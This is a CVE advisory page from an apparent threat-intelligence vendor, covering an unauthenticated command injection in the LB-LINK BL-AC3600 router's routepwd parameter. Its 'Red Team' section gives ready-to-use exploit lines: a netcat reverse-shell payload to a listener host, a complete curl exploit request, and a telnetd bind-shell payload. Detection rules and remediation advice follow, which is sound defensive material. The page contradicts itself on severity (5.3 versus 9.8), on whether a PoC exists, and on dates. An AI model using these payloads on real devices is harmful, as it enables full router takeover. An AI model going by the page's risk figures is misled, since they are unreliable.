☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4076

CVE-2025-4076 Command Injection in Lb-link
📅 PUBLISHED: 2025-04-29 18:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 17.30%
👁️
17.30% probability
432.5× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4076 is a critical command injection vulnerability discovered in the LB-LINK BL-AC3600 router, affecting firmware versions up to and including 1.0.22. The flaw resides in the easy_uci_set_option_string_0 function within the /cgi-bin/lighttpd.cgi component, specifically in the password handler. By manipulating the routepwd argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor (LB-LINK) was contacted but did not respond, leaving the vulnerability unpatched. A public proof-of-concept (PoC) exploit is available, increasing the risk of widespread exploitation. Given the device's role as a network gateway, successful exploitation can lead to lateral movement, data exfiltration, and persistent access.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in an embedded IoT device (router). The supply chain risk is limited to the device's firmware distribution and the vendor's lack of response.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) - Exploitable remotely.
  • Attack Complexity: Low (AC:L) - No special conditions required.
  • Privileges Required: None (PR:N) - No authentication needed.
  • User Interaction: None (UI:N) - No user action required.
  • Scope: Unchanged (S:U) - Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) - Full device access, credentials, and network traffic.
  • Integrity Impact: High (I:H) - Full control over device configuration and firmware.
  • Availability Impact: High (A:H) - Device can be bricked or used in DDoS attacks.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using LB-LINK BL-AC3600 routers.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the CGI script /cgi-bin/lighttpd.cgi. The function easy_uci_set_option_string_0 is designed to set configuration options via the UCI (Unified Configuration Interface) system. The routepwd parameter is passed to a shell command without proper sanitization or escaping.

Root Cause: The application constructs a shell command by concatenating user-supplied input directly into a string that is then executed by system() or popen(). For example, the vulnerable code might look like:

sprintf(cmd, "uci set wireless.@wifi-iface[0].key='%s'", routepwd);
system(cmd);

An attacker can inject a command by providing a value like '; malicious_command ;'. The single quote closes the intended string, the semicolon terminates the uci command, and the attacker's command is executed.

Attack Flow:

  1. Attacker sends a crafted HTTP POST request to /cgi-bin/lighttpd.cgi with the routepwd parameter containing the injection payload.
  2. The CGI script processes the request and passes the unsanitized routepwd to the vulnerable function.
  3. The injected command is executed with root privileges (as the CGI runs as root).
  4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void easy_uci_set_option_string_0(char *routepwd) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "uci set wireless.@wifi-iface[0].key='%s'", routepwd);
    system(cmd);
}

Patched Code (Conceptual):

void easy_uci_set_option_string_0(char *routepwd) {
    // Sanitize input: remove shell metacharacters
    char sanitized[256];
    int j = 0;
    for (int i = 0; routepwd[i] != '\0' && j < 255; i++) {
        if (routepwd[i] != '\'' && routepwd[i] != ';' && routepwd[i] != '|' && routepwd[i] != '&' && routepwd[i] != '$' && routepwd[i] != '`') {
            sanitized[j++] = routepwd[i];
        }
    }
    sanitized[j] = '\0';
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "uci set wireless.@wifi-iface[0].key='%s'", sanitized);
    system(cmd);
}

Note: The patched code above is a minimal example. A more robust solution would use execve() with separate arguments or use a library that avoids shell interpretation entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target: LB-LINK BL-AC3600 with firmware <= 1.0.22
  • Network access to the router's web interface (typically on port 80 or 443)
  • A listener for reverse shell (e.g., nc -lvnp 4444)

Exploit Payload (Command Injection):

# Reverse shell payload (URL-encoded)
routepwd=';nc 192.168.1.100 4444 -e /bin/sh;'

Full Exploit Request (using curl):

curl -X POST http://<router_ip>/cgi-bin/lighttpd.cgi \
  -d "action=set&routepwd=';nc 192.168.1.100 4444 -e /bin/sh;'"

Alternative Payload (BusyBox-based):

routepwd=';telnetd -l /bin/sh -p 2323;'

Metasploit Module (if available):

# Placeholder for a Metasploit module
# use exploit/linux/http/lblink_blac3600_cmd_inject

Blue Team (Defensive)

Lab Setup for Testing:

  1. Isolate the router in a VLAN with no access to production networks.
  2. Use a network tap or SPAN port to capture traffic.
  3. Deploy a honeypot mimicking the router's web interface to detect scanning.

Detection Steps:

  1. Monitor HTTP POST requests to /cgi-bin/lighttpd.cgi with suspicious routepwd parameters.
  2. Look for shell metacharacters (;, |, &, `, $()) in the routepwd field.
  3. Alert on outbound connections from the router to unusual IPs/ports (e.g., reverse shell attempts).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/lighttpd.cgi with routepwd containing shell metacharacters.
  • Outbound connections from the router to external IPs on non-standard ports (e.g., 4444, 2323).
  • DNS queries to known malicious domains or IPs associated with botnets.

Host IOCs (on the router):

  • Unusual processes running (e.g., nc, telnetd, bash).
  • Modified or new files in /tmp or /etc (e.g., /tmp/.persist).
  • Changes to the UCI configuration (e.g., uci show wireless).
  • Presence of known malware binaries (e.g., Mirai, Gafgyt).

File IOCs:

  • /tmp/*.sh - Suspicious shell scripts.
  • /etc/init.d/* - Modified startup scripts.
  • /usr/sbin/* - Replaced binaries.

Detection Engineering

YARA Rule

rule CVE_2025_4076_LBLINK_CMD_INJECTION {
    meta:
        description = "Detects command injection attempts against LB-LINK BL-AC3600"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4076"
    strings:
        $http_post = "POST /cgi-bin/lighttpd.cgi" ascii wide nocase
        $routepwd = "routepwd=" ascii wide nocase
        $shell_meta1 = ";" ascii wide
        $shell_meta2 = "|" ascii wide
        $shell_meta3 = "&" ascii wide
        $shell_meta4 = "`" ascii wide
        $shell_meta5 = "$(" ascii wide
    condition:
        $http_post and $routepwd and (
            #shell_meta1 or #shell_meta2 or #shell_meta3 or #shell_meta4 or #shell_meta5
        )
}

Sigma Rule

title: CVE-2025-4076 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/lighttpd.cgi with shell metacharacters in the routepwd parameter.
author: Valters IT
date: 2025/04/10
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/lighttpd.cgi'
        cs-uri-query|contains: 'routepwd='
    filter:
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection and filter
falsepositives:
    - Legitimate use of special characters in password (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-4076 LB-LINK BL-AC3600 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/lighttpd.cgi"; http_uri;
    content:"routepwd="; http_client_body;
    pcre:"/routepwd=[^&]*(?:;|\||&|`|\$\(|\))/Pi";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-4076;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place LB-LINK BL-AC3600 routers on a separate VLAN with strict firewall rules.
  2. Disable remote management: If not required, disable the web interface from the WAN side.
  3. Monitor for exploitation: Deploy the provided detection rules (YARA, Sigma, Suricata) to identify attacks.

Long-term Remediation:

  1. Vendor patch: Since the vendor is unresponsive, consider replacing the device with a supported alternative.
  2. Custom firmware: If technically feasible, flash an open-source firmware like OpenWrt (if compatible) to replace the vulnerable software stack.
  3. Network segmentation: Implement strict network segmentation to limit the blast radius of a compromised router.

Workaround (if device cannot be replaced):

  • Block HTTP POST requests to /cgi-bin/lighttpd.cgi at the network perimeter using a WAF or IPS.
  • Implement a reverse proxy that sanitizes the routepwd parameter before forwarding to the router.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4076/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.